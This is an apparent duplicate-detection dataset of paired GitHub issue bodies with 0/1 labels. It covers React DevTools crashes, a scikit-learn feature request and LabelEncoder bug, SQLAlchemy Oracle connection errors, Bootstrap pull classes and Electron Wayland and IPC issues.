(chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32:92640)</p> <p dir="auto">Component stack: in vl<br> in div<br> in div<br> in div<br> in wo<br> in Unknown<br> in n<br> in Unknown<br> in div<br> in div<br> in Li<br> in $e<br> in dn<br> in Ca<br> in Pc</p>
<p dir="auto">PLEASE INCLUDE REPRO INSTRUCTIONS AND EXAMPLE CODE</p> <p dir="auto">I got this error when I click 'Ranked'.</p> <hr> <h2 dir="auto">Please do not remove the text below this line</h2> <p dir="auto">DevTools version: 4.0.4-3c6a219</p> <p dir="auto">Call stack: at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:11:11441<br> at Map.forEach ()<br> at commitIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:11:11387)<br> at e.getRankedChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:11:11920)<br> at _i (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56:277123)<br> at Ha (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:43:55890)<br> at Xl (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:43:98280)<br> at Hl (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:43:84255)<br> at Fl (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:43:81285)<br> at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:43:25363</p> <p dir="auto">Component stack: in _i<br> in div<br> in div<br> in div<br> in Or<br> in Unknown<br> in n<br> in Unknown<br> in div<br> in div<br> in Ha<br> in le<br> in ve<br> in ko<br> in Ul</p>
1
<p dir="auto">Following Bergstra NIPS 2011 (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jaberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jaberg">@jaberg</a> for the intimates) it would be great to have a GridSearch-like object implementing Gaussian-Process based hyper-parameter optimization.</p> <p dir="auto">To keep things simple, we would optimize only on continuous parameter, i.e. in a hyper-cube. The API would specify an initial bounding box, and also whether each parameter should be varied in the log-domain or in the linear-domain.</p> <p dir="auto">Some notes from a discussion with James Bergstra:</p> <ul dir="auto"> <li>The algorithm goes mostly as <pre class="notranslate"></pre></li> <li>Compute the score on a set of random points in the specified hyper-cube</li> <li>For i in budget:<br> 2.a fit Gaussian Process to the pairs (parameters, scores)<br> 2.b find the parameters that optimizes the expectation of getting a lower score then the best currently available. For this, optimize it using a black-box scipy optimizer, such as the simulated annealing).<br> </li> <li>A lot of the gain comes from sequentially choosing the points, so, as we don't have a queue mechanism, we should do this sequentially for now. Parallel can be done in internal cross-validations, or to compute initial points.</li> </ul> <p dir="auto">Remark: to computing the expectancy of (X, y) with Gaussian process, we should overide score to use something more clever than the standard LinearRegression score.</p>
<p dir="auto">I've found that I cannot use pipelines if I wish to use the label encoder. In the following I wish to build a pipeline that first encodes the label and then constructs a one-hot encoding from that labelling.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="from sklearn.preprocessing import OneHotEncoder, LabelEncoder from sklearn.pipeline import make_pipeline import numpy as np X = np.array(['cat', 'dog', 'cow', 'cat', 'cow', 'dog']) enc = LabelEncoder() hot = OneHotEncoder() pipe = make_pipeline(enc, hot) pipe.fit_transform(X)"><pre class="notranslate"><code class="notranslate">from sklearn.preprocessing import OneHotEncoder, LabelEncoder from sklearn.pipeline import make_pipeline import numpy as np X = np.array(['cat', 'dog', 'cow', 'cat', 'cow', 'dog']) enc = LabelEncoder() hot = OneHotEncoder() pipe = make_pipeline(enc, hot) pipe.fit_transform(X) </code></pre></div> <p dir="auto">However, the following error is returned:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="lib/python2.7/site-packages/sklearn/pipeline.pyc in _pre_transform(self, X, y, **fit_params) 117 for name, transform in self.steps[:-1]: 118 if hasattr(transform, &quot;fit_transform&quot;): --&gt; 119 Xt = transform.fit_transform(Xt, y, **fit_params_steps[name]) 120 else: 121 Xt = transform.fit(Xt, y, **fit_params_steps[name]) \ TypeError: fit_transform() takes exactly 2 arguments (3 given)"><pre class="notranslate"><code class="notranslate">lib/python2.7/site-packages/sklearn/pipeline.pyc in _pre_transform(self, X, y, **fit_params) 117 for name, transform in self.steps[:-1]: 118 if hasattr(transform, "fit_transform"): --&gt; 119 Xt = transform.fit_transform(Xt, y, **fit_params_steps[name]) 120 else: 121 Xt = transform.fit(Xt, y, **fit_params_steps[name]) \ TypeError: fit_transform() takes exactly 2 arguments (3 given) </code></pre></div> <p dir="auto">It seems that the problem is that the fit method for label encoder only takes a y argument, whereas the pipeline assumes that it will take an X and an optional y.</p>
0
<p dir="auto">Describe what you were doing when the bug occurred:<br> 1.<br> 2.<br> 3.</p> <hr> <h2 dir="auto">Please do not remove the text below this line</h2> <p dir="auto">DevTools version: 4.10.0-11a2ae3a0d</p> <p dir="auto">Call stack: at store_Store.getElementAtIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:21215:35)<br> at store_Store.getElementIDAtIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:21231:26)<br> at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:28667:63<br> at List.render (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:22923:18)<br> at si (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:13506:76)<br> at ri (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:13497:10)<br> at jk (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:16068:86)<br> at ik (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:15450:11)<br> at hk (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:15442:23)<br> at Zj (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:15426:5)</p> <p dir="auto">Component stack: at List (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:22618:30)<br> at div<br> at AutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:3002:5)<br> at div<br> at div<br> at Tree_Tree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:28418:47)<br> at div<br> at div<br> at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:28910:3)<br> at OwnersListContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27547:3)<br> at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:28195:3)<br> at Components_Components (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:33372:52)<br> at ErrorBoundary_ErrorBoundary (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:29208:5)<br> at PortaledContent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:29325:32)<br> at div<br> at div<br> at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32923:3)<br> at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:24311:3)<br> at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:24800:3)<br> at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:29393:3)<br> at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:36196:3)</p>
<p dir="auto">Describe what you were doing when the bug occurred:</p> <ol dir="auto"> <li>Open React Devtool</li> <li>Select the Component tab</li> <li>Got below error</li> </ol> <hr> <h2 dir="auto">Please do not remove the text below this line</h2> <p dir="auto">DevTools version: 4.8.2-fed4ae024</p> <p dir="auto">Call stack: at Store.getElementAtIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:19359:35)<br> at Store.getElementIDAtIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:19376:26)<br> at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26594:18<br> at List.render (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:21229:18)<br> at li (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:11802:76)<br> at ki (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:11793:10)<br> at ck (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:14433:86)<br> at bk (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:13779:11)<br> at ak (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:13768:5)<br> at Sj (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:13750:7)</p> <p dir="auto">Component stack: at List (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:20924:30)<br> at div<br> at AutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:2786:5)<br> at div<br> at div<br> at Tree_Tree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26368:45)<br> at div<br> at div<br> at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26848:23)<br> at OwnersListContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:25520:23)<br> at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26139:23)<br> at Components_Components (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:30926:50)<br> at ErrorBoundary (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27172:5)<br> at PortaledContent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27303:32)<br> at div<br> at div<br> at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:30463:23)<br> at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:22538:23)<br> at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:23040:27)<br> at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:28328:23)<br> at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:33797:21)</p>
1
<p dir="auto"><strong>Describe the bug</strong><br> SQLAlchemy 1.3.21 has broken some oracle db connections, specifically changes from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="759903138" data-permission-text="Title is private" data-url="https://github.com/sqlalchemy/sqlalchemy/issues/5755" data-hovercard-type="issue" data-hovercard-url="/sqlalchemy/sqlalchemy/issues/5755/hovercard" href="https://github.com/sqlalchemy/sqlalchemy/issues/5755">#5755</a>. Same connection works correctly at &lt;= 1.3.20.</p> <p dir="auto"><strong>Expected behavior</strong><br> Running <code class="notranslate">engine.connect()</code> should succeed without error.</p> <p dir="auto"><strong>To Reproduce</strong></p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="from sqlalchemy import create_engine conn_string = 'oracle+cx_oracle://USERNAME:PASSWORD@HOST:PORT?service_name=TNS' engine = create_engine(conn_string) engine.connect()"><pre class="notranslate"><span class="pl-k">from</span> <span class="pl-s1">sqlalchemy</span> <span class="pl-k">import</span> <span class="pl-s1">create_engine</span> <span class="pl-s1">conn_string</span> <span class="pl-c1">=</span> <span class="pl-s">'oracle+cx_oracle://USERNAME:PASSWORD@HOST:PORT?service_name=TNS'</span> <span class="pl-s1">engine</span> <span class="pl-c1">=</span> <span class="pl-en">create_engine</span>(<span class="pl-s1">conn_string</span>) <span class="pl-s1">engine</span>.<span class="pl-en">connect</span>()</pre></div> <p dir="auto"><strong>Error</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Traceback (most recent call last): File &quot;/opt/rh/rh-python38/root/usr/local/lib/python3.8/site-packages/coyotes/sql/db_conn.py&quot;, line 82, in create_sql_connection connection = engine.connect() File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py&quot;, line 2263, in connect return self._connection_cls(self, **kwargs) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py&quot;, line 104, in __init__ else engine.raw_connection() File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py&quot;, line 2369, in raw_connection return self._wrap_pool_connect( File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py&quot;, line 2339, in _wrap_pool_connect Connection._handle_dbapi_exception_noconnection( File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py&quot;, line 1583, in _handle_dbapi_exception_noconnection util.raise_( File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/compat.py&quot;, line 182, in raise_ raise exception File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py&quot;, line 2336, in _wrap_pool_connect return fn() File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py&quot;, line 304, in unique_connection return _ConnectionFairy._checkout(self) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py&quot;, line 778, in _checkout fairy = _ConnectionRecord.checkout(pool) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py&quot;, line 495, in checkout rec = pool._do_get() File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/impl.py&quot;, line 140, in _do_get self._dec_overflow() File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/langhelpers.py&quot;, line 68, in __exit__ compat.raise_( File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/compat.py&quot;, line 182, in raise_ raise exception File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/impl.py&quot;, line 137, in _do_get return self._create_connection() File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py&quot;, line 309, in _create_connection return _ConnectionRecord(self) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py&quot;, line 440, in __init__ self.__connect(first_connect_check=True) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py&quot;, line 664, in __connect pool.dispatch.first_connect.for_modify( File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/event/attr.py&quot;, line 314, in exec_once_unless_exception self._exec_once_impl(True, *args, **kw) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/event/attr.py&quot;, line 285, in _exec_once_impl self(*args, **kw) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/event/attr.py&quot;, line 322, in __call__ fn(*args, **kw) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/langhelpers.py&quot;, line 1406, in go return once_fn(*arg, **kw) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/strategies.py&quot;, line 199, in first_connect dialect.initialize(c) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/dialects/oracle/cx_oracle.py&quot;, line 921, in initialize super(OracleDialect_cx_oracle, self).initialize(connection) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/dialects/oracle/base.py&quot;, line 1320, in initialize super(OracleDialect, self).initialize(connection) File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/default.py&quot;, line 325, in initialize self.default_isolation_level = self.get_isolation_level( File &quot;/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/dialects/oracle/cx_oracle.py&quot;, line 956, in get_isolation_level cursor.execute( sqlalchemy.exc.DatabaseError: (cx_Oracle.DatabaseError) ORA-00942: table or view does not exist (Background on this error at: http://sqlalche.me/e/13/4xp6)"><pre class="notranslate"><code class="notranslate">Traceback (most recent call last): File "/opt/rh/rh-python38/root/usr/local/lib/python3.8/site-packages/coyotes/sql/db_conn.py", line 82, in create_sql_connection connection = engine.connect() File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py", line 2263, in connect return self._connection_cls(self, **kwargs) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py", line 104, in __init__ else engine.raw_connection() File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py", line 2369, in raw_connection return self._wrap_pool_connect( File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py", line 2339, in _wrap_pool_connect Connection._handle_dbapi_exception_noconnection( File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py", line 1583, in _handle_dbapi_exception_noconnection util.raise_( File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/compat.py", line 182, in raise_ raise exception File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/base.py", line 2336, in _wrap_pool_connect return fn() File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py", line 304, in unique_connection return _ConnectionFairy._checkout(self) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py", line 778, in _checkout fairy = _ConnectionRecord.checkout(pool) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py", line 495, in checkout rec = pool._do_get() File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/impl.py", line 140, in _do_get self._dec_overflow() File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/langhelpers.py", line 68, in __exit__ compat.raise_( File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/compat.py", line 182, in raise_ raise exception File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/impl.py", line 137, in _do_get return self._create_connection() File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py", line 309, in _create_connection return _ConnectionRecord(self) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py", line 440, in __init__ self.__connect(first_connect_check=True) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/pool/base.py", line 664, in __connect pool.dispatch.first_connect.for_modify( File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/event/attr.py", line 314, in exec_once_unless_exception self._exec_once_impl(True, *args, **kw) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/event/attr.py", line 285, in _exec_once_impl self(*args, **kw) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/event/attr.py", line 322, in __call__ fn(*args, **kw) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/util/langhelpers.py", line 1406, in go return once_fn(*arg, **kw) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/strategies.py", line 199, in first_connect dialect.initialize(c) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/dialects/oracle/cx_oracle.py", line 921, in initialize super(OracleDialect_cx_oracle, self).initialize(connection) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/dialects/oracle/base.py", line 1320, in initialize super(OracleDialect, self).initialize(connection) File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/engine/default.py", line 325, in initialize self.default_isolation_level = self.get_isolation_level( File "/opt/rh/rh-python38/root/usr/local/lib64/python3.8/site-packages/sqlalchemy/dialects/oracle/cx_oracle.py", line 956, in get_isolation_level cursor.execute( sqlalchemy.exc.DatabaseError: (cx_Oracle.DatabaseError) ORA-00942: table or view does not exist (Background on this error at: http://sqlalche.me/e/13/4xp6) </code></pre></div> <p dir="auto"><strong>Versions.</strong></p> <ul dir="auto"> <li>OS: Windows 10, RHEL7 (docker), WSL</li> <li>Python: 3.6.9, 3.8.3</li> <li>SQLAlchemy: 1.3.<strong>21</strong></li> <li>Database: oracle odbc</li> <li>DBAPI: cx_oracle</li> </ul> <p dir="auto"><strong>Additional context</strong><br> This is the only oracle odbc database I have access to, so I am unable to test other connections.</p> <p dir="auto">Thanks!</p>
<p dir="auto"><strong>Describe the bug</strong><br> By default, users do not have access to v$transaction. On startup all request will be fail.</p> <p dir="auto">new in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="759903138" data-permission-text="Title is private" data-url="https://github.com/sqlalchemy/sqlalchemy/issues/5755" data-hovercard-type="issue" data-hovercard-url="/sqlalchemy/sqlalchemy/issues/5755/hovercard" href="https://github.com/sqlalchemy/sqlalchemy/issues/5755">#5755</a></p> <p dir="auto"><strong>Error</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="cx_Oracle.DatabaseError: ORA-00942: table or view does not exist"><pre class="notranslate"><code class="notranslate">cx_Oracle.DatabaseError: ORA-00942: table or view does not exist </code></pre></div> <p dir="auto"><strong>Versions.</strong></p> <ul dir="auto"> <li>SQLAlchemy: 1.3.21</li> <li>Database: Oracle</li> <li>DBAPI: cx-Oracle-7.3.0</li> </ul>
1
<p dir="auto">Hi,</p> <p dir="auto">Just a thought that came to my mind as I have to do it several times, shouldn't the pulls floating be removed for mobile devices or at least 320px width?</p> <p dir="auto">Reason:<br> On smaller devices, there is no point in floating the elements in most cases (at least 80%) as display block are generally used on this small screens.</p>
<p dir="auto">Would it be useful to have <code class="notranslate">.pull-right-sm</code>, <code class="notranslate">.pull-right-md</code>, <code class="notranslate">.pull-right-lg</code> classes, so as to responsively control the pull-right behavior?</p> <p dir="auto">That is, once the columns start collapsing at a smaller width have the pull-right no longer apply, such that what was pulled-right in wide-screen is now aligned-left in narrow-view.</p>
1
<p dir="auto"><strong>Preflight Checklist</strong></p> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have read the <a href="https://github.com/electron/electron/blob/master/CONTRIBUTING.md">Contributing Guidelines</a> for this project.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I agree to follow the <a href="https://github.com/electron/electron/blob/master/CODE_OF_CONDUCT.md">Code of Conduct</a> that this project adheres to.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the issue tracker for a feature request that matches the one I want to file, without success.</li> </ul> <p dir="auto"><strong>Problem Description</strong></p> <p dir="auto">In Wayland clients usually render their own decorations, they don't get SSD anymore (although there seems to be a protocol for SSD negotiation that Plasma and some compositors based on wlroots implement). The Wayland build is not very useful until Electron app windows get a proper headerbar. The headerbar can be a stock headerbar similar to old-school SSD or can be customized by the app (for example, by setting its color/theme in accordance with the app contents).</p> <p dir="auto"><strong>Proposed Solution</strong></p> <p dir="auto">Use GTK CSD support, which is also well-integrated in Qt-based environments (mainly Plasma):</p> <p dir="auto"><a href="https://developer.gnome.org/gtk3/stable/GtkHeaderBar.html" rel="nofollow">https://developer.gnome.org/gtk3/stable/GtkHeaderBar.html</a>:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="void gtk_header_bar_set_show_close_button (GtkHeaderBar *bar, gboolean setting); Sets whether this header bar shows the standard window decorations, including close, maximize, and minimize."><pre class="notranslate"><code class="notranslate">void gtk_header_bar_set_show_close_button (GtkHeaderBar *bar, gboolean setting); Sets whether this header bar shows the standard window decorations, including close, maximize, and minimize. </code></pre></div> <p dir="auto"><a href="https://developer.gnome.org/gtk3/stable/GtkSettings.html#GtkSettings--gtk-decoration-layout" rel="nofollow">https://developer.gnome.org/gtk3/stable/GtkSettings.html#GtkSettings--gtk-decoration-layout</a>:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="“gtk-decoration-layout” char * This setting determines which buttons should be put in the titlebar of client-side decorated windows, and whether they should be placed at the left of right."><pre class="notranslate"><code class="notranslate">“gtk-decoration-layout” char * This setting determines which buttons should be put in the titlebar of client-side decorated windows, and whether they should be placed at the left of right. </code></pre></div> <p dir="auto"><strong>Alternatives Considered</strong></p> <p dir="auto">It doesn't seem to exist much more alternatives. Maybe Qt has a native headerbar implementation, but it won't properly work inside a GTK-based environment like GNOME, while it works the other way around. See <a href="https://pointieststick.com/2019/11/30/this-week-in-kde-gtk-csd-support-and-more" rel="nofollow">https://pointieststick.com/2019/11/30/this-week-in-kde-gtk-csd-support-and-more</a></p> <p dir="auto">Maybe xdg-decoration as suggested in some comments below. But I ignore everything about it and SSD doesn't seem to me the best alternative for Electron apps that tend to be more app-centric than platform-centric by its very nature and so, at least in major platforms, usually customize headerbars.</p> <p dir="auto"><strong>Additional Information</strong></p> <p dir="auto">More details in discussion starting from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="268514984" data-permission-text="Title is private" data-url="https://github.com/electron/electron/issues/10915" data-hovercard-type="issue" data-hovercard-url="/electron/electron/issues/10915/hovercard?comment_id=767997150&amp;comment_type=issue_comment" href="https://github.com/electron/electron/issues/10915#issuecomment-767997150">#10915 (comment)</a></p>
<h3 dir="auto">Preflight Checklist</h3> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have read the <a href="https://github.com/electron/electron/blob/master/CONTRIBUTING.md">Contributing Guidelines</a> for this project.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I agree to follow the <a href="https://github.com/electron/electron/blob/master/CODE_OF_CONDUCT.md">Code of Conduct</a> that this project adheres to.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the issue tracker for an issue that matches the one I want to file, without success.</li> </ul> <h3 dir="auto">Issue Details</h3> <ul dir="auto"> <li><strong>Electron Version:</strong> <ul dir="auto"> <li> 9.2.1 </li> </ul> </li> <li><strong>Operating System:</strong> <ul dir="auto"> <li> macOS Catalina </li> </ul> </li> <li><strong>Last Known Working Electron version:</strong> <ul dir="auto"> <li> </li> </ul> </li> </ul> <h3 dir="auto">Expected Behavior</h3> <p dir="auto">When <code class="notranslate">ipcMain.handle()</code> return a rejected promise, no message should be printed on the main console and the error message in <code class="notranslate">ipcRenderer.invoke().reject()</code> should contain the exact error message.</p> <h3 dir="auto">Actual Behavior</h3> <p dir="auto">When <code class="notranslate">ipcMain.handle()</code> return a rejected promise, a message like this is printed in the main console:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Error occurred in handler for '&lt;channel&gt;': Error: &lt;rejected error message&gt; -&gt; the attempted result here is that no message should be displayed in main console !"><pre class="notranslate"><code class="notranslate">Error occurred in handler for '&lt;channel&gt;': Error: &lt;rejected error message&gt; -&gt; the attempted result here is that no message should be displayed in main console ! </code></pre></div> <p dir="auto">And the <code class="notranslate">ipcRenderer.invoke().reject()</code> error message is:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Error invoking remote method '&lt;channel&gt;': Error: my-error -&gt; the attempted error message here is only &quot;Error: my-error&quot;"><pre class="notranslate"><code class="notranslate">Error invoking remote method '&lt;channel&gt;': Error: my-error -&gt; the attempted error message here is only "Error: my-error" </code></pre></div> <h3 dir="auto">To Reproduce</h3> <p dir="auto">main.js</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ipcMain.handle('channel', (event, options) =&gt; { return Promise.reject(new Error('my-error')) })"><pre class="notranslate"><code class="notranslate">ipcMain.handle('channel', (event, options) =&gt; { return Promise.reject(new Error('my-error')) }) </code></pre></div> <p dir="auto">renderer.js</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ipcRenderer.invoke('channel').then(result =&gt; { console.log(result) }).catch(err =&gt; { console.log(err) })"><pre class="notranslate"><code class="notranslate">ipcRenderer.invoke('channel').then(result =&gt; { console.log(result) }).catch(err =&gt; { console.log(err) }) </code></pre></div>
0
